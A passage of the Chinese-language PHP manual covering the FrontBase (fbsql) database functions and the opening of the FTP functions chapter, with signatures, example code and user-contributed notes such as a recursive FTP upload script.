    $i++;
}
fbsql_close();

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_field_table | 上一级 | fbsql_free_result


fbsql_free_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_free_result -- Free result memory

说明

bool fbsql_free_result ( resource result )

fbsql_free_result() will free all memory associated with the result identifier result.

fbsql_free_result() only needs to be called if you are concerned about how much memory is being used for queries that return large result sets. All associated result memory is automatically freed at the end of the script's execution.

add a note add a note User Contributed Notes
mneugebauer at omaha dot com
09-Mar-2002 02:21
As of PHP 4.0.6, the default maximum number of result sets for Frontbase is 128.  When your PHP script finishes or is terminated, the result sets are NOT cleaned up as stated above (or at least Frontbase is not aware that the result sets have been destroyed). Therefore, you need to make sure you call fbsql_free_result() after every SELECT, or you will hit the default 128 set limit in a hurry.

Hopefully a future version of PHP will improve the result set cleanup so that the result set limitation doesn't rear its ugly head in the middle of a script.
add a note add a note

后退 | 起点 | 前进
fbsql_field_type | 上一级 | fbsql_get_autostart_info


fbsql_get_autostart_info

(PHP 4 >= 4.1.0, PHP 5)

fbsql_get_autostart_info -- No description given yet

说明

array fbsql_get_autostart_info ( [resource link_identifier] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_free_result | 上一级 | fbsql_hostname


fbsql_hostname

(PHP 4 >= 4.0.6, PHP 5)

fbsql_hostname -- Get or set the host name used with a connection

说明

string fbsql_hostname ( resource link_identifier [, string host_name] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_get_autostart_info | 上一级 | fbsql_insert_id


fbsql_insert_id

(PHP 4 >= 4.0.6, PHP 5)

fbsql_insert_id -- Get the id generated from the previous INSERT operation

说明

int fbsql_insert_id ( [resource link_identifier] )

fbsql_insert_id() returns the ID generated for an column defined as DEFAULT UNIQUE by the previous INSERT query using the given link_identifier. If link_identifier isn't specified, the last opened link is assumed.

fbsql_insert_id() returns 0 if the previous query does not generate an DEFAULT UNIQUE value. If you need to save the value for later, be sure to call fbsql_insert_id() immediately after the query that generates the value.

注: The value of the FrontBase SQL function fbsql_insert_id() always contains the most recently generated DEFAULT UNIQUE value, and is not reset between queries.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_hostname | 上一级 | fbsql_list_dbs


fbsql_list_dbs

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_dbs -- List databases available on a FrontBase server

说明

resource fbsql_list_dbs ( [resource link_identifier] )

fbsql_list_dbs() will return a result pointer containing the databases available from the current fbsql daemon. Use the fbsql_tablename() function to traverse this result pointer.

例子 1. fbsql_list_dbs() example

$link = fbsql_connect('localhost', 'myname', 'secret');
$db_list = fbsql_list_dbs($link);

while ($row = fbsql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}

上例将输出：

database1
database2
database3
...

注: The above code would just as easily work with fbsql_fetch_row() or other similar functions.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_insert_id | 上一级 | fbsql_list_fields


fbsql_list_fields

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_fields -- List FrontBase result fields

说明

resource fbsql_list_fields ( string database_name, string table_name [, resource link_identifier] )

fbsql_list_fields() retrieves information
about the given tablename. Arguments are the database name and
the table name. A result pointer is returned which can be used
with fbsql_field_flags(),
fbsql_field_len(),
fbsql_field_name(), and
fbsql_field_type().

A result identifier is a positive integer. The function returns FALSE if an error occurs. A string describing the error will be placed in $phperrmsg, and unless the function was called as @fbsql() then this error string will also be printed out.

例子 1. fbsql_list_fields() example

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');

$fields = fbsql_list_fields("database1", "table1", $link);
$columns = fbsql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {
    echo fbsql_field_name($fields, $i) . "\n";;
}
?>

上例将输出：

field1
field2
field3
...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_list_dbs | 上一级 | fbsql_list_tables


fbsql_list_tables

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_tables -- List tables in a FrontBase database

说明

resource fbsql_list_tables ( string database [, resource link_identifier] )

fbsql_list_tables() takes a database name and returns a result pointer much like the fbsql_db_query() function. The fbsql_tablename() function should be used to extract the actual table names from the result pointer.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_list_fields | 上一级 | fbsql_next_result


fbsql_next_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_next_result -- Move the internal result pointer to the next result

说明

bool fbsql_next_result ( resource result_id )

When sending more than one SQL statement to the server or executing a stored procedure with multiple results will cause the server to return multiple result sets. This function will test for additional results available form the server. If an additional result set exists it will free the existing result set and prepare to fetch the words from the new result set. The function will return TRUE if an additional result set was available or FALSE otherwise.

例子 1. fbsql_next_result() example

<?php
    $link = fbsql_connect("localhost", "_SYSTEM", "secret");
    fbsql_select_db("MyDB", $link);
    $SQL = "Select * from table1; select * from table2;";
    $rs = fbsql_query($SQL, $link);
    do {
        while ($row = fbsql_fetch_row($rs)) {
        }
    } while (fbsql_next_result($rs));
    fbsql_free_result($rs);
    fbsql_close($link);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_list_tables | 上一级 | fbsql_num_fields


fbsql_num_fields

(PHP 4 >= 4.0.6, PHP 5)

fbsql_num_fields -- Get number of fields in result

说明

int fbsql_num_fields ( resource result )

fbsql_num_fields() returns the number of fields in a result set.

See also:
fbsql_db_query(),
fbsql_query(),
fbsql_fetch_field(), and
fbsql_num_rows().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_next_result | 上一级 | fbsql_num_rows


fbsql_num_rows

(PHP 4 >= 4.0.6, PHP 5)

fbsql_num_rows -- Get number of rows in result

说明

int fbsql_num_rows ( resource result )

fbsql_num_rows() returns the number of rows in a result set. This command is only valid for SELECT statements. To retrieve the number of rows returned from a INSERT, UPDATE or DELETE query, use fbsql_affected_rows().

例子 1. fbsql_num_rows() example

<?php

$link = fbsql_connect("localhost", "username", "password");
fbsql_select_db("database", $link);

$result = fbsql_query("SELECT * FROM table1;", $link);
$num_rows = fbsql_num_rows($result);

echo "$num_rows Rows\n";

?>

See also: fbsql_affected_rows(),
fbsql_connect(),
fbsql_select_db(), and
fbsql_query().

add a note add a note User Contributed Notes
daggillies at yahoo dot com
06-Apr-2002 04:29
Note that this function will not always return the actual size of a result set. For example, if you are doing a two-table join along the lines of "SELECT * FROM T1,T2 where T1.x=T2.x" you will get a result of -1. This is due to the 'lazy execution' model in FrontBase whereby result rows are only returned as you request them. If you absolutely have to have the number of rows in advance then you will have to use COUNT(*) first. Most of the time you do not need to know the exact number of rows; it is good enough to know if the size of the result set is non-zero.

David Gillies
San Jose
Costa Rica
add a note add a note

后退 | 起点 | 前进
fbsql_num_fields | 上一级 | fbsql_password


fbsql_password

(PHP 4 >= 4.0.6, PHP 5)

fbsql_password -- Get or set the user password used with a connection

说明

string fbsql_password ( resource link_identifier [, string password] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_num_rows | 上一级 | fbsql_pconnect


fbsql_pconnect

(PHP 4 >= 4.0.6, PHP 5)

fbsql_pconnect -- Open a persistent connection to a FrontBase Server

说明

resource fbsql_pconnect ( [string hostname [, string username [, string password]]] )

Returns: A positive FrontBase persistent link identifier on success, or FALSE on error.

fbsql_pconnect() establishes a connection to a FrontBase server. The following defaults are assumed for missing optional parameters: host = 'localhost', username = "_SYSTEM" and password = empty password.

To set Frontbase server port number, use fbsql_select_db().

fbsql_pconnect() acts very much like fbsql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use.

This type of links is therefore called 'persistent'.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_password | 上一级 | fbsql_query


fbsql_query

(PHP 4 >= 4.0.6, PHP 5)

fbsql_query -- Send a FrontBase query

说明

resource fbsql_query ( string query [, resource link_identifier [, int batch_size]] )

fbsql_query() sends a query to the currently active database on the server that's associated with the specified link identifier. If link_identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if fbsql_connect() was called with no arguments, and use it.

注: The query string shall always end with a semicolon.

fbsql_query() returns TRUE (non-zero) or FALSE to indicate whether or not the query succeeded. A return value of TRUE means that the query was legal and could be executed by the server. It does not indicate anything about the number of rows affected or returned. It is perfectly possible for a query to succeed but affect no rows or return no rows.

The following query is syntactically invalid, so fbsql_query() fails and returns FALSE:

例子 1. fbsql_query() example

<?php
$result = fbsql_query("SELECT * WHERE 1=1")
    or die ("Invalid query");
?>

The following query is semantically invalid if my_col is not a column in the table my_tbl, so fbsql_query() fails and returns FALSE:

例子 2. fbsql_query() example

<?php
$result = fbsql_query ("SELECT my_col FROM my_tbl")
    or die ("Invalid query");
?>

fbsql_query() will also fail and return FALSE if you don't have permission to access the table(s) referenced by the query.

Assuming the query succeeds, you can call fbsql_num_rows() to find out how many rows were returned for a SELECT statement or fbsql_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

For SELECT statements, fbsql_query() returns a new result identifier that you can pass to fbsql_result(). When you are done with the result set, you can free the resources associated with it by calling fbsql_free_result(). Although, the memory will automatically be freed at the end of the script's execution.

See also: fbsql_affected_rows(),
fbsql_db_query(),
fbsql_free_result(),
fbsql_result(),
fbsql_select_db(), and
fbsql_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_pconnect | 上一级 | fbsql_read_blob


fbsql_read_blob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_read_blob -- Read a BLOB from the database

说明

string fbsql_read_blob ( string blob_handle [, resource link_identifier] )

Returns: A string containing the BLOB specified by blob_handle.

fbsql_read_blob() reads BLOB data from the database. If a select statement contains BLOB and/or CLOB columns FrontBase will return the data directly when data is fetched. This default behavior can be changed with fbsql_set_lob_mode() so the fetch functions will return handles to BLOB and CLOB data. If a handle is fetched a user must call fbsql_read_blob() to get the actual BLOB data from the database.

例子 1. fbsql_read_blob() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    $sql = "SELECT BLOB_COLUMN FROM BLOB_TABLE;";
    $rs = fbsql_query($sql, $link);
    $row_data = fbsql_fetch_row($rs);
    // $row_data[0] will now contain the blob data for the first row
    fbsql_free_result($rs);

    $rs = fbsql_query($sql, $link);
    fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
    $row_data = fbsql_fetch_row($rs);
    // $row_data[0] will now contain a handle to the BLOB data in the first row
    $blob_data = fbsql_read_blob($row_data[0]);
    fbsql_free_result($rs);

?>

See also: fbsql_create_blob(),
fbsql_read_clob(), and
fbsql_set_lob_mode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_query | 上一级 | fbsql_read_clob


fbsql_read_clob

(PHP 4 >= 4.2.0, PHP 5)

fbsql_read_clob -- Read a CLOB from the database

说明

string fbsql_read_clob ( string clob_handle [, resource link_identifier] )

Returns: A string containing the CLOB specified by clob_handle.

fbsql_read_clob() reads CLOB data from the database. If a select statement contains BLOB and/or CLOB columns FrontBase will return the data directly when data is fetched. This default behavior can be changed with fbsql_set_lob_mode() so the fetch functions will return handles to BLOB and CLOB data. If a handle is fetched a user must call fbsql_read_clob() to get the actual CLOB data from the database.

例子 1. fbsql_read_clob() example

<?php
    $link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
        or die("Could not connect");
    $sql = "SELECT CLOB_COLUMN FROM CLOB_TABLE;";
    $rs = fbsql_query($sql, $link);
    $row_data = fbsql_fetch_row($rs);
    // $row_data[0] will now contain the clob data for the first row
    fbsql_free_result($rs);

    $rs = fbsql_query($sql, $link);
    fbsql_set_lob_mode($rs, FBSQL_LOB_HANDLE);
    $row_data = fbsql_fetch_row($rs);
    // $row_data[0] will now contain a handle to the CLOB data in the first row
    $clob_data = fbsql_read_clob($row_data[0]);
    fbsql_free_result($rs);

?>

See also: fbsql_create_blob(),
fbsql_read_blob(), and
fbsql_set_lob_mode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_read_blob | 上一级 | fbsql_result


fbsql_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_result -- Get result data

说明

mixed fbsql_result ( resource result [, int row [, mixed field]] )

fbsql_result() returns the contents of one cell from a FrontBase result set. The field argument can be the field's offset, or the field's name, or the field's table dot field's name (tabledname.fieldname). If the column name has been aliased ('select foo as bar from...'), use the alias instead of the column name.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they're MUCH quicker than fbsql_result(). Also, note that specifying a numeric offset for the field argument is much quicker than specifying a fieldname or tablename.fieldname argument.

Calls to fbsql_result() should not be mixed with calls to other functions that deal with the result set.

Recommended high-performance alternatives:
fbsql_fetch_row(),
fbsql_fetch_array(), and
fbsql_fetch_object().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_read_clob | 上一级 | fbsql_rollback


fbsql_rollback

(PHP 4 >= 4.0.6, PHP 5)

fbsql_rollback -- Rollback a transaction to the database

说明

bool fbsql_rollback ( [resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

fbsql_rollback() ends the current transaction by rolling back all statements issued since last commit. This command is only needed if autocommit is set to false.

See also: fbsql_autocommit() and fbsql_commit()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_result | 上一级 | fbsql_select_db


fbsql_select_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_select_db -- Select a FrontBase database

说明

bool fbsql_select_db ( [string database_name [, resource link_identifier]] )

fbsql_select_db() sets the current active database on the server that's associated with the specified link identifier. If no link identifier is specified, the last opened link is assumed. If no link is open, the function will try to establish a link as if fbsql_connect() was called, and use it.

如果成功则返回 TRUE，失败则返回 FALSE。

The client contacts FBExec to obtain the port number to use for the connection to the database. If the database name is a number the system will use that as a port number and it will not ask FBExec for the port number. The FrontBase server can be stared as FRontBase -FBExec=No -port=<port number> <database name>.

Every subsequent call to fbsql_query() will be made on the active database.

if the database is protected with a database password, the user must call fbsql_database_password() before selecting the database.

See also
fbsql_connect(),
fbsql_pconnect(),
fbsql_database_password(), and
fbsql_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_rollback | 上一级 | fbsql_set_lob_mode


fbsql_set_lob_mode

(PHP 4 >= 4.2.0, PHP 5)

fbsql_set_lob_mode -- Set the LOB retrieve mode for a FrontBase result set

说明

bool fbsql_set_lob_mode ( resource result, string database_name )

Returns: TRUE on success, FALSE on error.

fbsql_set_lob_mode() sets the mode for retrieving LOB data from the database. When BLOB and CLOB data is stored in FrontBase it can be stored direct or indirect. Direct stored LOB data will always be fetched no matter the setting of the lob mode. If the LOB data is less than 512 bytes it will always be stored directly.

  • FBSQL_LOB_DIRECT - LOB data is retrieved directly. When data is fetched from the database with fbsql_fetch_row(), and other fetch functions, all CLOB and BLOB columns will be returned as ordinary columns. This is the default value on a new FrontBase result.

  • FBSQL_LOB_HANDLE - LOB data is retrieved as handles to the data. When data is fetched from the database with fbsql_fetch_row (), and other fetch functions, LOB data will be returned as a handle to the data if the data is stored indirect or the data if it is stored direct. If a handle is returned it will be a 27 byte string formatted as "@'000000000000000000000000'".

See also:
    fbsql_create_blob(),
    fbsql_create_clob(),
    fbsql_read_blob(), and
    fbsql_read_clob().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_select_db | 上一级 | fbsql_set_password


fbsql_set_password

(PHP 5)

fbsql_set_password -- Change the password for a given user

说明

bool fbsql_set_password ( resource link_identifier, string user, string password, string old_password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_set_lob_mode | 上一级 | fbsql_set_transaction


fbsql_set_transaction

(PHP 4 >= 4.2.0, PHP 5)

fbsql_set_transaction -- Set the transaction locking and isolation

说明

void fbsql_set_transaction ( resource link_identifier, int Locking, int Isolation )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
daggillies at yahoo dot com
07-Jul-2002 07:05
Note (a tip from the FrontBase dev support team): if you are using an early version of the PHP FrontBase driver and do not wish to upgrade, then you can set the isolation and locking levels indirectly by using fbsql_query e.g.:

fbsql_query("SET TRANSACTION ISOLATION LEVEL REPEATABLE READ, READ ONLY, LOCKING OPTIMISTIC;");

Level is one of SERIALIZABLE, REPEATABLE READ, READ COMMITTED, or VERSIONED. Locking is one of PESSIMISTIC, OPTIMISTIC and DEFERRED.

David Gillies
San Jose
Costa Rica
add a note add a note

后退 | 起点 | 前进
fbsql_set_password | 上一级 | fbsql_start_db


fbsql_start_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_start_db -- Start a database on local or remote server

说明

bool fbsql_start_db ( string database_name [, resource link_identifier [, string database_options]] )

如果成功则返回 TRUE，失败则返回 FALSE。

fbsql_start_db()

See also: fbsql_db_status() and fbsql_stop_db().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_set_transaction | 上一级 | fbsql_stop_db


fbsql_stop_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_stop_db -- Stop a database on local or remote server

说明

bool fbsql_stop_db ( string database_name [, resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

fbsql_stop_db()

See also: fbsql_db_status() and fbsql_start_db().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_start_db | 上一级 | fbsql_tablename


fbsql_tablename

(PHP 4 >= 4.2.0, PHP 5)

fbsql_tablename -- Get table name of field

说明

string fbsql_tablename ( resource result, int i )

fbsql_tablename() takes a result pointer returned by the fbsql_list_tables() function as well as an integer index and returns the name of a table. The fbsql_num_rows() function may be used to determine the number of tables in the result pointer.

例子 1. fbsql_tablename() example

<?php
fbsql_connect("localhost", "_SYSTEM", "");
$result = fbsql_list_tables("wisconsin");
$i = 0;
while ($i < fbsql_num_rows($result)) {
    $tb_names[$i] = fbsql_tablename($result, $i);
    echo $tb_names[$i] . "<br />";
    $i++;
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_stop_db | 上一级 | fbsql_username


fbsql_username

(PHP 4 >= 4.0.6, PHP 5)

fbsql_username -- Get or set the host user used with a connection

说明

string fbsql_username ( resource link_identifier [, string username] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_tablename | 上一级 | fbsql_warnings


fbsql_warnings

(PHP 4 >= 4.0.6, PHP 5)

fbsql_warnings -- Enable or disable FrontBase warnings

说明

bool fbsql_warnings ( [bool OnOff] )

Returns TRUE if warnings is turned on otherwise FALSE.

fbsql_warnings() enables or disables FrontBase warnings.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
fbsql_username | 上一级 | FTP 函数


FTP 函数

PHP 手册
后退 前进

XLI. FTP 函数

简介

FTP 函数可以帮助实现客户机与服务器之间标准文件传送协议（FTP）的规范进行文件传送。FTP 的详细定义参见 http://www.faqs.org/rfcs/rfc959。此扩展库用来使运行的脚本对 FTP 服务器进行广泛的控制。如果只想在一个 FTP 服务器上读写文件，考虑使用文件系统函数中的 ftp:// wrapper，它提供了简单和更直观的接口。

需求

要编译本扩展模块不需要外部库文件。

安装

In order to use FTP functions with your PHP configuration, you should add the --enable-ftp option when installing PHP 4 or greater or --with-ftp when using PHP 3.

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

在 FTP 模块中使用了一种资源类型，该资源类型为 FTP 的连接句柄，由函数 ftp_connect() 或 ftp_ssl_connect() 产生。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

FTP_ASCII (integer)

FTP_TEXT (integer)

FTP_BINARY (integer)

FTP_IMAGE (integer)

FTP_TIMEOUT_SEC (integer)

参考函数 ftp_set_option()。

下列变量在 PHP 4.3.0 以后版本中被加入。

FTP_AUTOSEEK (integer)

参考函数 ftp_set_option()。

FTP_AUTORESUME (integer)

为 GET 和 PUT 请求自动决定恢复和开始的位置 (只能工作在 FTP_AUTOSEEK 打开的情况下)

FTP_FAILED (integer)

异步传输失败

FTP_FINISHED (integer)

异步传输成功

FTP_MOREDATA (integer)

异步传输是活动状态的

范例

例子 1. FTP 例子

<?php
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name";
    }

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
        echo "FTP upload has failed!";
    } else {
        echo "Uploaded $source_file to $ftp_server as $destination_file";
    }

// close the FTP stream
ftp_close($conn_id);
?>

目录
ftp_alloc -- Allocates space for a file to be uploaded
ftp_cdup -- 切换到当前目录的父目录
ftp_chdir -- 在 FTP 服务器上切换当前目录
ftp_chmod -- Set permissions on a file via FTP
ftp_close -- 关闭一个活动的 FTP 连接
ftp_connect -- 建立一个新的 FTP 连接
ftp_delete -- 删除 FTP 服务器上的一个文件
ftp_exec -- 请求运行一条 FTP 命令
ftp_fget -- 从 FTP 服务器上下载一个文件并保存到本地一个已经打开的文件中
ftp_fput -- 上传一个已经打开的文件到 FTP 服务器
ftp_get_option -- 返回当前 FTP 连接的各种不同的选项设置
ftp_get -- 从 FTP 服务器上下载一个文件
ftp_login -- 登录 FTP 服务器
ftp_mdtm -- 返回指定文件的最后修改时间
ftp_mkdir -- 建立新目录
ftp_nb_continue -- 连续获取／发送文件（non-blocking）
ftp_nb_fget -- Retrieves a file from the FTP server and writes it to an open file (non-blocking)
ftp_nb_fput -- Stores a file from an open file to the FTP server (non-blocking)
ftp_nb_get -- 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
ftp_nb_put -- 存储一个文件至 FTP 服务器（non-blocking）
ftp_nlist -- 返回给定目录的文件列表
ftp_pasv -- 返回当前 FTP 被动模式是否打开
ftp_put -- 上传文件到 FTP 服务器
ftp_pwd -- 返回当前目录名
ftp_quit -- ftp_close() 的别名
ftp_raw -- Sends an arbitrary command to an FTP server
ftp_rawlist -- 返回指定目录下文件的详细列表
ftp_rename -- 更改 FTP 服务器上指定的文件名
ftp_rmdir -- 删除一个目录
ftp_set_option -- 设置各种 FTP 运行时选项
ftp_site -- 向服务器发送 SITE 命令
ftp_size -- 返回指定文件的大小
ftp_ssl_connect -- Opens an Secure SSL-FTP connection
ftp_systype -- 返回远程 FTP 服务器的系统类型

add a note add a note User Contributed Notes
magic2lantern at mail dot ru
24-Dec-2005 12:19
This is a simple script writen by me which allows the user
run it in console and get tree from FTP Server.

<?php
$argv = $_SERVER["argv"];
$argv = array_slice($argv,1);
if (getenv("HTTP_HOST")) {exit("For bash execution only!");}
if ((empty($argv[0])) || (empty($argv[1]))) {exit("Usage: thisscript.php 10.0.0.10 /games/Arcade/
where 10.0.0.10 is the FTP Server and /games/Arcade is the start path on FTP\n");}

// connect to the ftp server
$connect_id = ftp_connect($argv[0]);
// login on the server
if ($connect_id) { $login_result = ftp_login($connect_id, 'anonymous', 'JustForFun'); }
// check connection
if ((!$connect_id) || (!$login_result)) {
   echo "Unable to connect the remote FTP Server!\n";
   exit;
}
function ftp_get_dir ($ftp_dir) {
global $connect_id;
$ftp_contents = ftp_nlist ($connect_id, $ftp_dir);
   for ($myCounter_for_server_elements = 0; !empty ($ftp_contents[$myCounter_for_server_elements]);
$myCounter_for_server_elements++)
   {
// get elements list in current dir
       echo $argv[0] . $ftp_dir . $ftp_contents[$myCounter_for_server_elements] . "\n";
       ftp_get_dir ($ftp_dir . $ftp_contents[$myCounter_for_server_elements] . '/');
   }
}
ftp_get_dir ($argv[1]);
// close connection
ftp_close($connect_id);
?>
leonardo at rol dot com dot ro
09-Aug-2005 09:51
Here is an example for downloading a remote ftp structure to local server, useful for migrating sites from one server to another, especially when you are upgrading ensim ;)

http://leonardo.rol.ro/ftpleech.txt
dickiedyce at uk dot com
07-May-2005 11:20
It may seem obvious to others, but it had me stumped for nearly an hour! If you can connect to an ftp site but some functions (list, put, get etc) don't work, then try using ftp_pasv and set passive mode on.

<?php

// setup $host and $file variables for your setup before here...

$hostip = gethostbyname($host);
$conn_id = ftp_connect($hostip);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// IMPORTANT!!! turn passive mode on
ftp_pasv ( $conn_id, true );

if ((!$conn_id) || (!$login_result)) {
  echo "FTP connection has failed!";
  echo "Attempted to connect to $host for user $ftp_user_name";
  die;
} else {
  echo "Connected to $host, for user $ftp_user_name<br>";
  echo "Host IP is $hostip<br>";

  // upload a file
  if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
   echo "successfully uploaded $file<br>";
  } else {
   echo "There was a problem while uploading $file<br>";
  }

  // close the connection
  ftp_close($conn_id);
}
?>
arjen at queek dot nl
15-Jul-2004 10:38
If you prefer a OO-approach to the FTP-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all ftp_* functions to your object and stripping ftp_ of the function name. Plus, you don't have to pass the ftp-resource as the first argument.

For example:
<?php
ftp_delete($ftp, $file);    // Where $ftp is your ftp-resource
?>

Can become:
<?php
$ftp->delete($file);        // Where $ftp is your FTP-object
?>

Code:
<?php

class FTP {

   private $ftp;

   /* public Void __construct(): Constructor */
   public function __construct($host, $port = 21, $timeout = 90) {
       $this->ftp = ftp_connect($host, $port, $timeout);
   }

   /* public Void __destruct(): Destructor */
   public function __destruct() {
       @ftp_close($this->ftp);
   }

   /* public Mixed __call(): Re-route all function calls to the PHP-functions */
   public function __call($function, $arguments) {
       // Prepend the ftp resource to the arguments array
       array_unshift($arguments, $this->ftp);

       // Call the PHP function
       return call_user_func_array('ftp_' . $function, $arguments);
   }

}

?>
Kristy Christie (kristy at isp7 dot net)
16-Jun-2004 02:50
Here's a little function that I created to recurse through a local directory and upload the entire contents to a remote FTP server.

In the example, I'm trying to copy the entire "iwm" directory located at /home/kristy/scripts/iwm to a remote server's /public_html/test/ via FTP.

The only trouble is that for the line "if (!ftp_chdir($ftpc,$ftproot.$srcrela))", which I use to check if the directory already exists on the remote server, spits out a warning about being unable to change to that directory if it doesn't exist.

But an error handler should take care of it.

My thanks to the person who posted the snippet on retrieving the list of files in a directory.

For the version of the script that echo's it's progress as it recurses & uploads, go to: http://pastebin.com/73784

<?php

// --------------------------------------------------------------------
// THE TRIGGER
// --------------------------------------------------------------------

   // set the various variables
   $ftproot = "/public_html/test/";
   $srcroot = "/home/kristy/scripts/";
   $srcrela = "iwm/";

   // connect to the destination FTP & enter appropriate directories both locally and remotely
   $ftpc = ftp_connect("ftp.mydomain.com");
   $ftpr = ftp_login($ftpc,"username","password");

   if ((!$ftpc) || (!$ftpr)) { echo "FTP connection not established!"; die(); }
   if (!chdir($srcroot)) { echo "Could not enter local source root directory."; die(); }
   if (!ftp_chdir($ftpc,$ftproot)) { echo "Could not enter FTP root directory."; die(); }

   // start ftp'ing over the directory recursively
   ftpRec ($srcrela);

   // close the FTP connection
   ftp_close($ftpc);

// --------------------------------------------------------------------
// THE ACTUAL FUNCTION
// --------------------------------------------------------------------
function ftpRec ($srcrela)
{
   global $srcroot;
   global $ftproot;
   global $ftpc;
   global $ftpr;

   // enter the local directory to be recursed through
   chdir($srcroot.$srcrela);

   // check if the directory exists & change to it on the destination
   if (!ftp_chdir($ftpc,$ftproot.$srcrela))
   {
       // remote directory doesn't exist so create & enter it
           ftp_mkdir    ($ftpc,$ftproot.$srcrela);
           ftp_chdir    ($ftpc,$ftproot.$srcrela);
   }

   if ($handle = opendir("."))
   {
       while (false !== ($fil = readdir($handle)))
       {
           if ($fil != "." && $fil != "..")
           {
               // check if it's a file or directory
               if (!is_dir($fil))
               {
                   // it's a file so upload it
                   ftp_put($ftpc, $ftproot.$srcrela.$fil, $fil, FTP_BINARY);
               }
               else
               {
                   // it's a directory so recurse through it
                   if ($fil == "templates")
                   {
                           // I want the script to ignore any directories named "templates"
                           // and therefore, not recurse through them and upload their contents
                   }
                   else
                   {
                       ftpRec ($srcrela.$fil."/");
                       chdir ("../");
                   }
               }
         }
     }
     closedir($handle);
   }
}
?>
postmaster at alishomepage dot com
24-Jan-2004 07:29
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in FTP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Vikrant Korde <vakorde at hotmail dot com>
14-Nov-2003 09:35
<?

